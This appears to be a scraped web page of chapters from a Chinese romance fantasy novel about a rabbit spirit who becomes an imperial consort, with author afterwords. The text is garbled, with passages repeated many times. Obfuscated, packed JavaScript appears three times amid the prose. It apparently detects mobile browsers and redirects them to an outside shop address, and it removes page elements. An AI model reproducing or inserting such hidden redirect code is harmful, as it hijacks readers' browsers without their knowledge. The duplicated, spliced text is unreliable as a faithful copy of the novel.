绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336029|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第29章29(加更) 玄阳扶着绮雪的小腿,手指按在伤疤处,却沉默下来。 绮雪见他笑意淡去,还以为是自己提出来的要求太过分了,连忙说道:“对不起,圣君,我是不是太强人所难了?是我不好,我不该随口乱说的,您不要当真……” 第 33 章 他不会考虑和绮雪... 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404408|136045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第33章他不会考虑和绮雪. 卫淮踉跄地后退几步,扶住木椅的后背,强撑着全身的重量,这才没有倒下去。 这半个月来,他被关在水牢中,身体大半浸泡在冷水里,没有吃过一口食物,也几乎得不到休息,受尽了折磨,饶是再强健的身体也已然到达了极限。 第 34 章 “我讨厌你,陛下... 第34章“我讨厌你,陛下 初春时节,北方的气候依然寒凉,姬玉衡到达上京的这日,恰逢阴云遮日,不见阳光,一到下午,更是下起了绵绵细雨,空中弥漫起冰冷的潮气。 皇宫。 玄阳撑着一把油纸伞,行走在朱红的宫墙之下。 他穿着洁白的道袍,一身宽袍大袖随风而动,如素淡的流云,飘然来到承露宫的殿前。 内侍和宫女们恭敬地向他行礼,他微微颔首,无需他们领路,轻车熟路地走向寝殿,还没进门,便听到屋中传来绮雪温柔的声音。 “香香,千万坚持住,不要落下来,再飞一段……你成功了,太厉害了!继续这样下去你很快就能恢复到从前的样子了! 绮雪的语气格外开心,玄阳听到他的欢声笑语,神色愈发柔和,将油纸伞交给门口的内侍,等候他们向绮雪通传。 “娘娘,玄阳仙师已经到了。 董原驯顺地低垂着眉眼,来到绮雪身边禀报,绮雪正在给绿香球按摩酸痛的翅膀,闻言立刻起身,欢喜地跑到门口迎接:“见过玄阳仙师。 “贵妃娘娘有礼了。 玄阳还以道家的礼节,随绮雪进了门,绮雪吩咐屋中的宫人们:“你们都下去吧,没我的传唤不得入内。 “是,娘娘。 董原领着所有宫人退了下去,轻轻关上屋门,趴在鸟窝里小憩的绿香球则被绮雪捧去了内室。 绿香球自打入宫后,每日山珍海味不断,没过几天就胖成了敦实的鸟球,飞都飞不动了。 她痛定思痛,下决心要减掉重量,恢复往日的雌风,今天是开始减重的第一天,绮雪陪她一起锻炼,至于效果如何,尚且有待观察。 绿香球被绮雪捧在掌心里,绒毛微微炸开,很是忌惮外面的玄阳。 她不清楚玄阳的真实身份,只觉得绮雪和一个道士来往过密太危险了,不禁担心地问:“你和他独处真的没关系吗,他可是道士,咱们的天敌啊! “别看他现在对你这么客气,一旦你的真身被他识破,也许他就会以妖孽作祟为由将你杀掉,到时你就惨了…… 小鹦鹉絮絮叨叨,即使累得爬不起来了也要叮嘱绮雪,绮雪心中温暖,安抚地摸了摸她的翅膀。 “你放心,他不可能伤害我,我很相信他,就像相信山阴娘娘那样。 玄阳的身份不便透露,绮雪要瞒着绿香球,心里难免愧疚,不过他也算隐晦地点 了一句玄阳的身份,像相信山阴娘娘一样相信他,当然是因为他和山阴娘娘一样,都是洞渊神灵的化身。 至于绿香球能不能明白,那就得看她自己的悟性了。 起码现在绿香球是听不懂的,小鹦鹉小脑袋一歪,流露出困惑的表情,无法理解绮雪对玄阳盲目的信任。 不过她对绮雪的信任同样是盲目的,既然绮雪相信玄阳,那她也就不会怀疑玄阳。 她说:“好吧,那我就不多问了,有需要你尽管跟我提。我先去睡一会,晚上就不要拿瓜子给我了,我要多吃些菜叶。 “好。 绮雪眉眼弯弯,将绿香球送回内室的鸟窝,看着她才一沾鸟窝就睡着了。 安顿好绿香球,绮雪回到外面,亲自为玄阳奉茶:“圣君请用茶。 “好。 玄阳露出笑意,接过茶杯饮下几口,一如既往地关心绮雪的近况:“近来你过得如何? 绮雪咬了咬唇,露出难为情的神色,抚上自己的小腹:“别的都还好,只是昨日太医为我号脉,我还是没能怀上陛下的孩子,圣君,难道我就是那种难以受孕的体质吗? 玄阳摇了摇头:“你服食抱岁丹的时日尚短,未能受孕才是常事,无需忧心顾虑。 “可我还是担心…… 玄阳放下茶杯,看了绮雪一会,这才开口:“可以,不过需要你变回原形。 绮雪眸光一亮,他就知道圣君是无所不能的:“多谢圣君! 他变回兔团,跳到桌面上,等着玄阳为他检查,玄阳捧起小小软软的兔团,将他翻了个面,四爪朝上,露出软软的兔肚皮,如献祭般向玄阳献上了全身最脆弱的部位。 玄阳垂下眼眸,注视着兔团,指尖按上兔团的肚皮,指腹陷入柔软温暖的兔毛中,轻轻地按揉着。 雪白的小兔子没有任何反抗,黑葡萄似的眼睛明亮水润,依恋地望着玄阳,全心全意地信任着他,满满地都是信赖和喜爱。 “…… 玄阳在软乎乎的兔肚皮上抚摸了很久,又将指腹按在兔团的三瓣嘴上:“张嘴。 “? 兔团出乎意料地抖了抖耳朵,听话地张开嘴,玄阳以指尖扫过他的口腔,染上晶莹的水光,又退了出来:“再舔一下。 兔团伸出粉粉的小舌头,舔舔玄阳的手指,也不是只舔了一口,而是只要玄阳没叫停,他就一直继续。 “可以了。” 过了很久,玄阳收回手指,温和地对兔团说:“变回来吧。” 兔团变回人形,绮雪眨眨眼睛,期待地问:“怎么样?” “你与抱岁丹很相合。”玄阳没有抬头,看着自己的手指,“是很容易受孕的体质。” “太好了!” 绮雪激动地红了脸:“我马上就把这个好消息告诉陛下!” 想来陛下知道这个消息后一定会很高兴,心情好了,身体也会更好的! 近来春寒料峭,贺兰寂病了一场,虽然只是小病,甚至不影响他处理政事,却还是叫绮雪心疼坏了。 他几乎是贴身照顾贺兰寂,变着花样地给他做吃食,甚至在贺兰寂睡觉的时候,他也要抚摸贺兰寂的额头,唱歌哄他入眠。 这首歌是绮雪从先皇后那里学来的,她就是唱着这首歌,哄年幼的贺兰寂和小兔子入睡,听得多了,绮雪自然学会了,如今他也来这样哄贺兰寂。 当他唱歌的时候,贺兰寂紧握住他的手,直到入睡也还是握得那样紧,眼尾隐约湿润,绮雪不知道那是不是他流的眼泪。 也许陛下想他的娘亲了。 绮雪躺下来,轻轻地抱住贺兰寂。 他已经很久没想起过自己的娘亲了,事实上,他的爹娘都是没有灵智的普通白兔,由于他生来是具有灵智的妖,身体生长得很慢,还没等他长大,他的爹娘就已经死去了。 而他的兄弟姐妹都没有哭,若无其事地吃着草,他怀疑它们可能根本就认不出那是它们的爹娘。 他亲缘薄,没怎么享受过娘亲的疼爱,头一次感受到母爱,还是在先皇后身上,他也想报答她,可她早就死了。 他和陛下都没亲人了。 正因如此,他越发想要为陛下诞下子嗣,这样在他离开后,陛下身边还有至亲的陪伴,不会那么孤独。 绮雪按捺不住,准备晚上就给贺兰寂一个惊喜,玄阳却拦住了他:“贺兰寂知不知道你已服食过抱岁丹?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“还有许多手段让姬玉衡做不成太子,哪怕他成为太子也无妨,我们完全可以再另寻一条出路。” 绮雪低着头,没有回应玄阳,他觉得自己好难看、好能自作多情,或许陛下早就在心里觉得他没资格给他生孩子。 玄阳轻声叹息:“天下有太多薄情之人,这就是为何我不准你心软,你对他们好,他们却都会辜负你。” 绮雪一言不发,强忍着眼中的酸涩,直到玄阳离去才忍不住哭了出来。 他哭得很轻、很小声,连熟睡的绿香球都没惊醒,直到门扉敞开,他被纳入到坚实的怀抱中:“圆圆。” 贺兰寂从背后环抱住绮雪,将吻轻轻地落于鬓发间,完全没有预料到绮雪会突然推开他,从他的怀抱中挣脱出来。 而转过身的绮雪眼中含泪,面颊也沾满了泪水,他哭得那么美,却又那么令人心碎。 一瞬间,贺兰寂的心揪了起来:“圆圆,你为什么要哭?到底发生了什么事?” “我讨厌你……” 绮雪抹着眼泪,却越抹越多,他的哭声越来越大,到了最后,已经变成嚎啕大哭。 “我讨厌你,陛下,我讨厌你!” 作者有话要说 贺兰寂:(遭到暴击)(头晕眼花)(倒下)(死去) 不是故意卡在这里的,实在是今天没时间写更多了,我保证明天就甜回来,不会一误会就误会好多章的,不要打兔!!(瑟瑟发抖) 感谢纯良比格、卿安、君怀袖、赵雪健快更新、鳩籨、xxdxx、徐行之的地雷!=3= 第 35 章 一只绣鞋伸到了姬... 第35章一只绣鞋伸到了姬. 寝殿内室,睡梦中的绿香球被一阵若隐若现的哭声惊醒了。 哭声并不算大,绿香球只能听到一点,之所以被惊醒,是因为她在睡梦里也能认出这是绮雪的哭声,心中焦急,这才一下子就从梦中醒了过来。 绿香球和绮雪做了将近一百年的朋友,可她在的记忆里,她很少会见到绮雪落泪。 他是一只十分与众不同的小兔子,看起来柔柔弱弱的,实则性情坚韧要强,从不服输。 好比在修炼一途上,像他们这样的小妖怪生来天赋低微,即使苦修也很难有什么结果,所以他们中的绝大多数都会放弃修炼,快快乐乐地过完一生,绮雪却不一样,他不想短暂地存活几十载之后就死去,为了长生,他苦修百载,终于化成人形,寿元少说能有上千年。 受他的影响,这百年来绿香球也始终在坚持修炼,才能成为一只长寿的小鹦鹉。 尽管她不清楚自己能不能有修成正果的那一天,但她一直从心底感谢绮雪。 她还记得自己刚认识绮雪的时候,一鸟一兔互换姓名,听到绮雪的名字,她还有点疑惑,觉得有点像是母兔的名字,小兔团摇头晃脑地跟她解释。 “‘绮雪’这个名字是我自己取的,‘绮’是姓氏,也是可爱美好的意思,‘雪’代表我是一只白兔,这个名字的意思是,我是一只可爱美好的白兔,是我想了很久才取出来的。怎么样,很好听吧? 比现在更小的小兔团蹦蹦跳跳,很高兴终于有机会可以炫耀自己的名字。 当时绿香球就觉得,绮雪果然很可爱,不仅如此,他还特别聪明,如果能和他成为朋友,肯定会特别开心。 自此以后,绿香球也常常觉得自己是只聪明的鹦鹉,做过的最聪明的决定就是和绮雪成了朋友。 小鹦鹉晃了下神,意识到绮雪还在哭着,立刻从鸟窝里弹起来朝外面飞去。 能让阿雪哭得这么伤心,一定是发生了不得了的事,难道是玄阳欺负阿雪了?!她就知道这个臭道士不是什么好东西! 绿香球拼命地往前飞着,可她的体型太圆润了,边飞边往下坠,实在飞不动了,只能落到地上,像只走地鸡似的哧溜跑到门口,往外探出了小脑袋。 结果门外的人并非玄阳,绿香球诧异地发现惹哭绮雪的人竟然是贺兰寂,这怎么会呢,陛下可是最疼宠阿雪的,他怎么会把阿雪弄哭呢? 绿香球顿时怂了,灰溜溜地藏了 起来躲在角落里偷听墙角。不是她不想帮阿雪但是夫妻的事外人不好插手她不清楚前因后果要是冒然冲过去啄贺兰寂的脑壳说不定阿雪反而还会心疼他的陛下了。 还是看看再说。 可是阿雪哭得真的好伤心啊…… 绿香球一边心疼一边偷偷观察着事态的发展。 绮雪的眼泪如连串的珠子般落下 他的伤心和委屈化成了潮湿的春雨浇在贺兰寂的心头令他难以呼吸而听到绮雪说讨厌他他更是如同被剜去了心头肉汩汩地流出鲜血:“圆圆讨厌我……为什么讨厌我?” “我……” 看到贺兰寂的神色不再镇定面色略显苍白绮雪的心也跟着一疼不禁有些后悔起自己的口不择言。 可是一想到贺兰寂一直在敷衍他、其实并没有跟他孕育子嗣的想法绮雪心中的酸楚就几乎快要满溢出来。 他不是怀疑陛下不爱他只是……也许没有那么爱又或者是因为他是兔妖生下的孩子血脉不纯不配登上皇位。 绮雪胡思乱想了很多不过他不是将委屈闷在心里不说的人不管怎样他都要向贺兰寂问个明白。 “陛下是不是不希望我怀上你的子嗣?” 绮雪抹了抹眼泪平复着自己的情绪让自己的声音不再那么颤抖:“我已经听说了陛下将各地的宗亲藩王召入京中想要从他们之中选出储君如果你打算拥有自己的孩子你又何必过继宗室后裔立为太子?” “何况陛下从未向云月观求取过能够怀孕生子的抱岁丹如果你有这份心玄阳仙师早就会将丹药送来了可你没有你从最初就不打算让我怀上孩子。” “为什么陛下难道你觉得我不配怀你的孩子吗?如果你有什么顾忌你完全可以直接告诉我而不是看着我那么期待却还要把我蒙在鼓里让我每天都自作多情地空欢喜……” 绮雪越说越委屈清亮美丽的眼眸盈满泪光如洒满月光的清泉:“我真的很讨厌这样也不喜欢欺骗我的陛下我……” 最后的话还没有说出口贺兰寂已经抱住他吻住了他的双唇。 贺兰寂的手很冷双唇也微凉落在绮雪的唇瓣上如同飘下了雪花直到被绮雪的温度融化才渐渐产生暖意。 这回绮雪没有再推开贺兰寂而是用力地抱住他无声地流着泪用力地在贺兰寂的薄唇上咬破几个小口子 发泄着自己的情绪。 贺兰寂任由他发泄双臂环抱得越来越紧仿佛要把绮雪揉进自己的身体里。 到了后来反倒是绮雪先心疼起贺兰寂舔着他唇上的小伤口尝到血的味道他的心都在颤抖这还是他第一次品尝鲜血想不到竟属于他最心爱的人。 等到绮雪发泄够了贺兰寂轻轻地擦干他脸上的泪在他的面颊落下几个轻柔怜惜的吻:“对不起圆圆不要难过是我不对我不该向你隐瞒我的想法。” 绮雪的睫毛颤了颤:“你果然不想要我给你生孩子?” “是我不希望圆圆为我孕育子嗣但绝不是因为我不心爱你更不是认为你不配为我孕育子嗣。” 贺兰寂将他抱了起来让他坐到自己腿上将他整个抱住:“不配的人是我为母者十月怀胎本就苦楚何况我见过雌兽生育它看起来那么痛苦与受刑毫无区别我怎么能眼睁睁看着圆圆为我忍受那样的痛苦?” “子嗣于我而言无关紧要如果不是我兄长早逝继承大统的人本该是他而不是我所以我不在乎我的后代能不能坐上皇位只要是贤能之士 “圆圆我很珍重你、爱惜你我不希望你受苦更不想你被孩子束缚从此失去自由。” 贺兰寂的神色向来淡漠冷峻可每当他望着绮雪却总是柔和下来毫不掩饰自己的深情。 “正如我的兄长所言你是天生自由的精灵你愿意在我活着的时候陪伴我对我而言已经足够了我不需要你为我做出任何牺牲。” “陛下……” 听完他这一席话绮雪被感动得红了眼睛心中酸涩又甜蜜反而更想哭了。 他心里的委屈和哀愁烟消云散激动地抱紧贺兰寂依恋地说:“可我一点也不觉得为陛下生孩子是牺牲我自己你对我这样好我觉得无论为你做什么都是值得的我就是这样爱你……” “是我考虑不周没有顾及圆圆的感受我不该向你隐瞒。” 贺兰寂亲吻他湿漉漉的眼皮:“可我身体不好应当没有几年可活在我死后你自己独自带着年幼的孩子会很辛苦我担心你受苦。” “才不会呢陛下一定会长命百岁的!” 这些话说开之后绮雪也没有隐瞒的必要了:“陛下难道没有感觉到你的身体近来好转许多吗?我曾私下向玄阳仙师请教过双修功法最近一直在和陛下修炼这门功法对陛下的身体大有裨益持续炼下去陛下的身 体定能恢复如初绝不会短寿的!” 贺兰寂微怔:“此言当真?” “我怎么会拿这种事跟陛下说笑。” 绮雪亲上贺兰寂的唇默默运转功法亲了一会微微地向后退开:“怎么样陛下觉得自己的嘴唇还疼吗?” 贺兰寂抚上自己的嘴唇发现被绮雪咬破的小伤口竟然全部痊愈了:“的确神奇。” “所以我才每天缠着陛下和我欢.好嘛……就是为了修炼呀。” 绮雪抱着贺兰寂一会亲亲贺兰寂高挺的鼻梁一会又亲亲耳朵如今误会消除他自然更加心爱贺兰寂了陛下真的好爱他不愿意让他生孩子竟然是因为担心他受苦。 他不怕吃苦的只要陛下能平平安安的要他做什么都行他自己怎么样都没关系。 贺兰寂抱住绮雪回应着他的亲吻却没有对功法表现得过于激动。 不是他不相信绮雪而是他并不信任这门功法为了医治自己的身体这些年他已经做过太多尝试每次都以失败而告终所以在彻底治好身体之前他都会保留一份怀疑。 绮雪撒娇地啄吻他的脸:“好不好嘛阿满哥哥没有什么好担心的你会长命百岁的。” “我就是想为哥哥生孩子我不怕吃苦就怕你不爱我现在我知道你很爱我了我什么都不怕我想和哥哥一起养孩子。” 他甜得能让人的心都化了贺兰寂柔和下神色回吻着他:“圆圆我们做个约定如果五年之后我还活着我们再商量到底要不要孩子你觉得如何?” “也好我都听哥哥的。” 绮雪乖巧地回应抚摸着自己的肚子心里想的却完全不是这么一回事。 五年?时间太长了 作出决定后绮雪打消了向贺兰寂说出实情的念头而是要隐瞒自己已经服用过生子丹的事情到时直接生米煮成熟饭不怕陛下不妥协。 他弯着眼睛露出甜甜的笑:“我真的很期待为陛下孕育子嗣的那天能早点到来。”- 姬玉衡的车队进入上京后先到官府做了登记由负责接见宗亲的官员将车队引入馆驿在京期间如果没什么意外他就会一直住在馆驿里。 馆驿的房间宽敞干净陈设古朴大气梁柱和幔帐点缀着竹纹姬玉衡很满意住处简单布置 了一番,便坐在书案前给母亲宝华郡主写了一封信,向她报平安。 接着就是处理政务上的文书,忙完这些,姬玉衡将书信和文书都交给贴身护卫,由他将书信寄出,这才长舒了口气,推开窗户,让新鲜的冷气涌入房间。 窗外的雨已经停了,但雨水仍未干透,顺着黑色的屋檐掉落下来。 姬玉衡站在窗边,望着连成线的雨珠,不知不觉地出神了,只要稍微清闲下来,他的脑海中就会不自觉地浮现出一道倩影。 如果小兔子也在上京,应当会和他见到同一片春雨吧? 一想到对方,姬玉衡心尖微颤,羞涩地红了耳朵。他转身来到床榻前,从下面拉出上锁的黄铜箱笼,将锁打开,小心地取出箱中的妆奁,打开后露出一只美丽的翡翠玉镯。 这只玉镯是他外祖母长公主心爱的宝物,当年他的母亲宝华郡主成婚时,外祖母将玉镯赠给母亲,母亲在他刚刚及冠时又将玉镯传给了他,要他送给心仪之人。 现在,他将这只玉镯带到上京了。 只可惜恐怕很难送出去…… 姬玉衡轻声叹了口气,重新收起妆奁,轻柔地将箱笼推了回去。 他才放好箱笼,一只狸花猫轻灵地从打开的窗户跳了进来,沾满湿泥的四爪踩上书案,留下了两排小小的梅花印。 狸花猫正是姬玉衡府中饲养的猫,这次姬玉衡入京,他跟随着一同入京,方便打探消息。 当然,在入京的时候,身为妖族的狸花猫也在云月观的道士那里做了登记,右前爪被拴上了一条布带,作为妖宠的标记。 狸花猫很不喜欢这东西的束缚感,却又不敢弄下去,所以总是甩着右前爪,于是又在干净的地面上甩出了几个泥点子。 姬玉衡无奈地笑了笑,唤来仆从将房间重新打扫干净,他自己取了手帕,给狸花猫擦净皮毛和四爪:“雨天泥泞湿滑,你明明不喜欢水,却还要出去玩吗?” “什么叫玩?” 狸花猫不满地甩了甩尾巴:“我明明是出去打探消息了,想不想知道我打听到了什么?” “我很想知道你打听到了什么。”姬玉衡莞尔,很给面子地满足了他想卖关子的小心思。 狸花猫斜眼看他:“是小兔妖的消息。” 姬玉衡:“你找到他了?” 狸花猫:“想知道吗?” “……”姬玉衡的脸瞬间红了,完全没了再次配合狸花猫的心思,微微移开视线,羞于开口。 “不想知道?那我走啦。” “……想。”姬玉衡仓促地拦住他,被他逼得不得不开口,“我想知道。” 他的性情向来温柔稳重,很少会在人前露出窘迫之色,可每当提起小兔妖,他却总是表现得非 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“……那只白虎是卫将军的坐骑,它对阿雪也很熟悉,见到小像就认出了阿雪。” “据它所言,将军很宠爱阿雪,甚至要娶阿雪为妻,他们已经举办了婚礼。” 姬玉衡的心跳猛地停了一拍,然而在失望蔓延之前,狸花猫又很快地接上了一句:“但是婚礼没成,阿雪逃婚了,早就不在将军府了。” “逃婚?” 姬玉衡愣了一下:“雪公子难道不喜欢卫将军吗?” 明明在那一夜,雪公子一直唤着“七郎”的名字,他以为雪公子应当很喜爱卫将军。 “谁知道呢。”狸花猫说,“也许他的情郎另有其人吧,此‘七郎’非彼‘七郎’。” 雪公子既然会离开将军府,就说明他应该不喜欢卫将军。 姬玉衡心情复杂,不愿承认自己竟然会感到一丝喜悦:“那么雪公子如今人在何处?” 狸花猫尾巴一僵,圆圆的猫脸露出尴尬之色:“这个……这个我还没打听到,大白老虎也不知道阿雪去了哪里,卫将军已经把整座上京翻个底朝天了,也没能找到阿雪。” “再后来,卫将军去了一趟云月观,回来就大病一场,至今还在卧床休息。” “不过卫将军找不到,不代表我找不 到,我们打听消息的方式和人类不太一样,你再给我点时间,只要他还没离开上京,我肯定能打听到的。 “好,不急。 姬玉衡点点头,取出一盒小鱼干,推到狸花猫面前:“辛苦你了。 狸花猫“喵了一声,叼着几只小鱼干离开了:“下次给我准备一壶酒吧,那只大白老虎喜欢喝酒,我答应要带给它的。 “好。 姬玉衡记下了这件事,静静地站在书案前,陷入了沉思。 卫将军前往云月观,难道是为了请仙师占卜雪公子的下落? 他大病一场,也许是因为占卜失败,未能寻找到雪公子的踪迹。 又或许,是他找到了雪公子,却无法将雪公子带回来。 希望不是因为雪公子遭遇了意外…… 带着隐隐的担忧,姬玉衡拿起书卷,却始终静不下心来看书。 数日后。 天朗气清,春光和煦,万物复苏。 今天便是藩王宗亲入朝拜谒的日子,姬玉衡在一众仆从的侍奉下,换上世子朝服,乘坐马车入宫拜谒。 皇宫气象庄严森然,建章殿前,众多宗亲藩王汇聚于玉阶之下,朱厌卫持刀斧立于两侧,冰冷的盔甲和利刃散发出寒芒,杀气凛凛,令人望而生畏。 姬玉衡的站位并不算靠前,但他刚好站在御道旁边,天子和贵妃走过御道时,刚好会经过他的身边。 时辰到。 浩荡的礼乐声奏响:“陛下驾到!贵妃娘娘驾到! “臣等参见陛下,参见贵妃娘娘。 跟随着百官和宗亲,姬玉衡一同跪拜下来,仪态清正端雅,头颅深深地垂落。 不多时,他听到身后传来了一阵脚步声,可以听得出天子贺兰寂的脚步更重,而绮贵妃的脚步更轻,如果不是仔细聆听,几乎听不出来。 但绮贵妃的到来却比天子鲜明许多,他的身上有一股天然的香气,随着春风的吹拂,送到姬玉衡的呼吸间。 绮贵妃的香气很迷人、很特别,却又是那么地熟悉,以至于姬玉衡瞬间心头一震,流露出了难以置信的神色。 这股香气……分明就是在那一夜留在他中衣上的香气,叫他久久不能忘怀,至今还留着这件衣服。 绮贵妃……绮贵妃难道就是—— 姬玉衡保持着低伏的姿势,脊背僵直,心中掀起惊涛骇浪,已然方寸大乱。 他多么想要抬头看清绮贵妃的面容,可他不能,否则会犯下冒犯天颜的大罪。 可贵妃娘娘怎么会是雪公子?难道就是因为这样,卫将军才不能将他带回来吗? 姬玉衡心乱如麻,如同被虫蚁啃噬着,难受得厉害。 就在此时,绮贵妃经过了他的身边,暗香浮动,裙袂飘然拂过了他的面孔。 香气更加明显了,他不会认错的,这就是雪公子的香气。 姬玉衡的心直直地沉坠下去,巨大的失落沉重地压在他的肩头,直到一只绣鞋伸到了他的眼下。 他怔了怔,发现这只绣鞋是从裙袂下探出来的,是绮贵妃的脚。 在他反应过来之前,绮贵妃就一脚踩在了他的手背上,不轻不重地碾了碾。 作者有话要说 兔团:我踩你、踩你、踩死你! 姬玉衡:……(根本没觉得兔团在用力)(以为是调情)(脸红)(被踩爽了) 当贺兰寂生了小病的时候,他可以得到:兔团心疼,兔团照顾,兔团亲亲,兔团蹭蹭,兔团唱歌哄睡 当卫淮大病一场的时候,他可以得到:自己待着 对不起,今天又来晚了,这章留言给大家发红包补偿!QAQ 感谢纯良比格的地雷×2,以及绮桾、TT、xxdxx、卿安的地雷!=3= 第 36 章 “如果我允许你亵... 第36章“如果我允许你亵 绮雪的脚生得很小,穿着珠花绣鞋,从厚重层叠的裙袂下探出来,显得越发娇小可爱,只碾了姬玉衡一下,就飞快地收了回去,仿佛什么都没发生过一般。 他这一脚对姬玉衡来说踩得很轻,像只彩蝶落了下来,又很快飞远,给手背留下麻痒的触感,也踩得姬玉衡的心轻轻发麻,荡起层层涟漪。 雪公子……是在用这种方式和他打招呼吗? 姬玉衡微微抬起视线,注视着绮雪的背影,发现绮雪并没有脚踩其他人,不仅如此,他还特意拉开了间距,连裙摆都没有扫过旁人,他只是对姬玉衡这么做了而已。 雪公子果然是在跟他打招呼,他不仅还记得他,甚至能在人群中很快认出他。 姬玉衡垂下睫毛,心情异常复杂,既有欢喜,也有酸楚和失落。 他一心挂念的人同样记挂着他,无疑是令人喜悦的,却也仅此而已。 当初他听说天子册封贵妃的消息,也只是一笑而过,并没有放在心上,完全没有想过被天子宠爱无度的绮贵妃竟然就是他一直在寻找的小兔子。 如今的雪公子已经是高高在上的贵妃娘娘,似高不可攀的明月,而他是仰望明月的凡人,清丽的月辉映照着他,但永远不会坠入他的怀抱。 虽然早在远赴上京之前,姬玉衡就很清楚自己很难和绮雪再续前缘,但亲眼得见这一幕,他的失望依旧强烈得难以言喻。 一颗心像是揉皱了,泡进陈醋酸汤里,就算吸得饱胀恢复成原本的形状,也尽是酸涩难言的滋味。 就算雪公子记得他又如何?他们已经不可能了。 姬玉衡将头垂得更低,不再看向绮雪,而绮雪的心情和他截然不同,心中满是报复的快意。 方才他可是用尽了全身的力气踩姬玉衡,姬玉衡应该被他踩得很疼吧,连耳朵都憋红了,却因为不能殿前失仪而痛呼出声,只能辛苦忍耐。 